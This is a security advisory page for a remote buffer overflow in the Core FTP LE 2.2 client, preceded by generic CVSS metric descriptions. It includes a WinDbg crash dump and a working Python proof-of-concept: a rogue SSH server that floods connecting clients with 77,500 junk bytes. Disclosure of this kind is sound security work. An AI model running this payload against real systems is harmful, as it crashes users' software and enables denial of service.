The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
None
PR
The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction
None
UI
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
High
I
There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Core FTP LE 2.2 Build 1883 Buffer Overflow[+] Credits: John Page aka hyp3rlinx
[+] Website: hyp3rlinx.altervista.org
[+] Source: http://hyp3rlinx.altervista.org/advisories/CORE-FTP-REMOTE-SSH-SFTP-BUFFER-OVERFLOW.txt
[+] ISR: ApparitionSec
Vendor:
===============
www.coreftp.com
Product:
========================
Core FTP LE (client)
v2.2 build 1883
Core FTP LE - free Windows software that includes the client FTP features
you need. Features like SFTP (SSH), SSL, TLS, FTPS, IDN,
browser integration, site to site transfers, FTP transfer resume, drag and
drop support, file viewing & editing, firewall support,
custom commands, FTP URL parsing, command line transfers, filters, and
much, much more.
Vulnerability Type:
================================
Remote SSH/SFTP Buffer Overflow
CVE Reference:
==============
N/A
Vulnerability Details:
=====================
Core FTP client is vulnerable to remote buffer overflow denial of service
when connecting to a malicious server using
SSH/SFTP protocol.
Upon receiving an overly long string of junk from the malicious FTP server
response, Core FTP crashes and the stack
is corrupted with several registers EBX, EDX, EDI being overwritten as can
be seen below.
WinDbg dump...
(d9c.16d8): Access violation - code c0000005 (first/second chance not
available)
eax=035b0000 ebx=00004141 ecx=03ac7e40 edx=41414141 esi=03ac7e38
edi=41414141
eip=77313ac3 esp=0439fa10 ebp=0439fae0 iopl=0 nv up ei pl nz ac pe
nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b
efl=00010216
ntdll!RtlImageNtHeader+0x92f:
77313ac3 8b12 mov edx,dword ptr [edx]
ds:002b:41414141=????????
Exploit code(s):
===============
import socket
print 'hyp3rlinx - Apparition Security'
print 'Core FTP SSH/SFTP Remote Buffer Overflow / DOS\r\n'
host='127.0.0.1'
port = 22
s = socket.socket()
payload="A"*77500
s.bind((host, port))
s.listen(5)
print 'Listening on port... %i' %port
print 'Connect to me!'
while True:
conn, addr = s.accept()
conn.send(payload+'\r\n')
conn.close()
Exploitation Technique:
=======================
Remote
Severity Level:
===============
High
[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no
warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the
information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author
prohibits any malicious use of security related information
or exploits by the author or elsewhere.
hyp3rlinx
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